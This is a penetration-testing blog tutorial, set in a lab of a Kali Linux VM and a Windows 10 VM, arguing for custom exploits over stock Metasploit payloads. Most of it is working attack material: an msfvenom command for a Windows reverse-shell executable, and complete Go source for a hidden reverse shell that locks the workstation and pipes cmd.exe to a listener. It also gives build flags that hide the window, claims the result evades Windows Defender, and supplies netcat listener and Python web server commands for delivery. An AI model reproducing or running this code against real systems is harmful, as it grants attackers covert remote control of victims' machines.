An exploit is “the vehicle used to breach a system.” Penetration testing involves using exploits against friendly systems in order to highlight risks to an organization’s survivability. Although necessary, penetration testing can become an expensive evil. Some organizations may choose to rush the work of their “hired hackers” as a result, prioriting saving a dollar and checking-off a regulatory compliance requirement over gaining an accurate picture of their network security posture. In this blog post, I demonstrate the benefit of using deliberate exploit development techniques.

Table of Contents

Lab Setup

I used VirtualBox to deploy two Virtual Machines (VMs) for this lab. The first VM is running Kali Linux while the second is running Microsoft Windows 10. On my Kali VM, I organized my work across three terminals: one to listen for inbound connections, another to develop/tinker with exploits, and a third to spawn a web server. Also, since Go does not natively ship with Kali Linux, you must execute the command sentence below in order to download, install, and use it.

How to Install Go on Kali Linux

sudo apt install golang

Lastly, I highly recommend creating and using a temporary directory as your “workbench.” It’ll help keep things tidy if you chose to follow along.

How to create and use a temporary directory

mkdir workbench
cd workbench

How to Generate a Hasty Exploit with Msfvenom

Msfvenom is one of many interfaces to the Metasploit Framework. It helps automate the process of generating and encoding a payload into a self-contained exploit. A payload is code and “represents the malicious activity an attacker wants to happen.” For example, if a thief uses a crowbar to gain physical access to a building, he is a payload while his crowbar is the exploit.

Msfvenom includes a number of parameters yet, we’re only going to focus on a few:

  • CPU architecture
  • Platform (as in, Operating System or OS)
  • Payload
  • Listening host and port
  • Executable format
  • Output filename

Specifying incorrect arguments (input) for our CPU architecture, platform, or executable format could cause our exploit to fail. Therefore, it is imperative we accurately identify our target machine. Execute the command sentence below to generate a quick and hasty Microsoft Windows exploit using Msfvenom (the \ symbols are totally optional and only serve to make this blog post more readable).

# how to create a hasty exploit with Msfvenom
msfvenom \
 --arch x86 \
 --platform windows \
 --payload windows/shell_reverse_tcp \
 LHOST=192.168.1.8 \
 LPORT=4444 \
 -f exe \
 -o hackmefast.exe

hackmefast.gif

How to Write a Deliberate Exploit in Go

Go is a general-purpose programming language developed by Google. It’s easy to read, has an “intelligent” cross-compiler (gives helpful warning/error messages as to why your code sucks), and doesn’t use a preprocessor (something that could influence how your code runs). To begin developing Go code, open a text-editor in a terminal on your Kali VM (I like to use Vim).

# how to open a text-editor in a terminal
vim hackmeslow.go

Next, mirror the code below. Our source file begins by telling the Go compiler we want a self-contained program, or a program that carries everything it needs to execute (a.k.a “statically linked,” read this for more info). We then import packages that enable our program to communicate on the network and control the OS. Within our main() function, we have three tasks we’re aiming to accomplish: lock the victim’s workstation, create a network socket, and send a Reverse Shell across it. A Reverse Shell “forces an infected machine to call the attacker and offer-up shell access to it’s operating system.” In contrast, traditional shell access requires the attacker to call the would-be infected machine and authenticate with valid credentials. A Reverse Shell is also helpful in bypassing inbound firewall rules.

To achieve our objectives, we select rundll32.exe and user32.dll, LockWorkStation as the first command sentence we want executed. For the curious, rundll32.exe is a Microsoft Windows program used for loading software libraries (like user32.dll) and accessing functions within them (such as LockWorkStation). We then leverage a Go function called net.Dial() to create a network socket, passing any errors it generates to the _ variable. This variable is also known as the “Blank Identifer” and helps satisfy some of the compiler’s pre-compilation checks. Next, we identify cmd.exe as the second command we wanted executed. After enabling the HideWindow attribute, we then point all input, output, and error “pipes” from cmd.exe to our socket. Finally, we ask for our payloads (locking the workstation and providing us remote access) to be ran.

NOTE: You can use any name you want for your variables as long as you’re consistent throughout your code (i.e., cloak, dagger, and socket).

package main

import (
    "net"
    "os/exec"
    "syscall"
)

func main() {
    cloak := exec.Command("rundll32.exe", "user32.dll,", "LockWorkStation")
    socket, _ := net.Dial("tcp", "192.168.1.8:4444")
    dagger := exec.Command("cmd.exe")
    dagger.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    dagger.Stdin = socket
    dagger.Stdout = socket
    dagger.Stderr = socket

    cloak.Run()
    dagger.Run()
}

To compile our source code, we could use the default values of our environment variables. Although, since we developed this exploit for a Microsoft Windows machine, we must temporarily modify them to match the platform and CPU architecture of our target. Normally, cross-compilation would be as simple as this yet, we have one more step to take.

The Go compiler provides two options for Microsoft Windows. You can go with the default option of a “console” program or ask for a “Windows GUI” program. If you chose “console,” a pop-up window will show regardless of the additional precautions we took in our source code. If you chose “Windows GUI,” these precautions will be recognized and therefore our program will run in the background with no pop-up. This nuance is addressed by Go’s linker. A linker is “responsible for incorporating the right software during compilation.” To dynamically inform the Go linker we want a “Windows GUI” program, we must invoke the -ldflags parameter and supply -H=windowsgui as our input.

Execute the command sentence below to compile the source code of our second exploit.

# how to cross-compile Go source code
env GOOS=windows GOARCH=386 go build -ldflags -H=windowsgui hackmeslow.go

hackmeslow.gif

How to Keep a Netcat Listener Alive Forever

Netcat is a tool for reading and writing to network sockets. We’re going to need it whenever an infected machine “reports for duty.” Yet, it can be tedious to repeatedly type the syntax for it everytime we exit a network connection with our victim. So we’re going to leverage a one-line script to continously invoke Netcat on our behalf whenever it dies (execute the command sentence below).

# how to keep a Netcat listener alive forever
while true; do nc -nvlp 4444; done

Netcat.gif

How to Serve Files with a Python Web Server

The Python scripting language includes a builtin HTTP server module. This makes it extremely simple to share/download files using a web server and browser. First, let’s remove the source code from our staging area using the command below.

rm *.go

Next, double check your directory by listing it’s contents using the ls -al command. I personally used an alias or shortcut I setup beforehand called ll.

# output of command above
total 2164
drwxr-xr-x  2 root root    4096 Dec 27 15:05 .
drwxr-xr-x 23 root root    4096 Dec 27 15:03 ..
-rw-r--r--  1 root root   73802 Dec 27 14:59 hackmefast.exe
-rwxr-xr-x  1 root root 2126848 Dec 27 15:03 hackmeslow.exe

Finally, execute the command sentence below in your third terminal window.

# how to serve files with a Python web server
python -m SimpleHTTPServer 666

PythonWebServer.gif

How to Test Our Exploits in a Virtual Lab

We can now begin simulating user activity. Open a web browser on your Microsoft Windows VM and navigate to your Python web server. For example, I should use http://192.168.1.8:666 as my destination URL. Next, click-on and try to run hackmefast.exe, the first exploit we created. Then, do the same for hackmeslow.exe, our second exploit. Once the Microsoft Windows VM locks out, check the terminal window hosting your Netcat listener. If you see a Microsoft Windows inteface, type whoami followed by shutdown /s /t 000 /f (WARNING: this will power-down your Microsoft Windows VM).

hackmeslow_success.gif

Summary

To explain, Windows Defender (Microsoft’s builtin anti-malware solution) blocked our Msfvenom exploit because it has a signature for most of the payloads from the Metasploit Framework. If we ended our engagement there, our final report would suggest the target environment is capable of stopping unauthorized code execution (inspiring a false sense of security). Yet, by spending a little more time developing a unique and homemade exploit, we confirmed the need for additional system hardening. In conclusion, organizations must balance their need to save money with the idea of maximizing their resources. Otherwise, they risk exactly what they wish to protect.

References

  • Army Doctrine Publications: ADP 3-90, “Offense and Defense”
  • Bugcrowd: Top Challenges of Traditional Pen Tests
  • DigitalOcean: How to Build Go Executables for Multiple Platforms on Ubuntu 16.04
  • DigitalOcean: Using Ldflags to Set Version Information for Go Applications
  • GeeksForGeeks: What is the Blank Identifer in Golang?
  • Github: Msfvenom Cheat Sheet - Lucian Nitescu
  • Golang.org - A Tour of Go
  • Golang.org - Command: link
  • Golang.org - Package: net
  • Golang.org - Package: os/exec
  • Golang.org - Package: syscall
  • Golang.org - Source file: exec_windows.go
  • Privacy PC: How not to suck at pen testing – John Strand
  • Rapid7: Metasploit - Working with Payloads
  • Reddit: Build Golang Reverse Shell to Run in Windows
  • SS64.com: RunDLL32.exe
  • Stack Overflow: All possible “GOOS” values?
  • Stack Overflow: How to avoid annoying error “declared and not used”
  • Stack Overflow: How to hide command prompt when using exec in Golang?
  • Stack Overflow: Syntax for a single-line bash infinite while loop
  • Sysdream: Golang for Pentests - Ronan Kervella
  • TheNewStack.io: Understanding Golang Packages - Shiju Varghese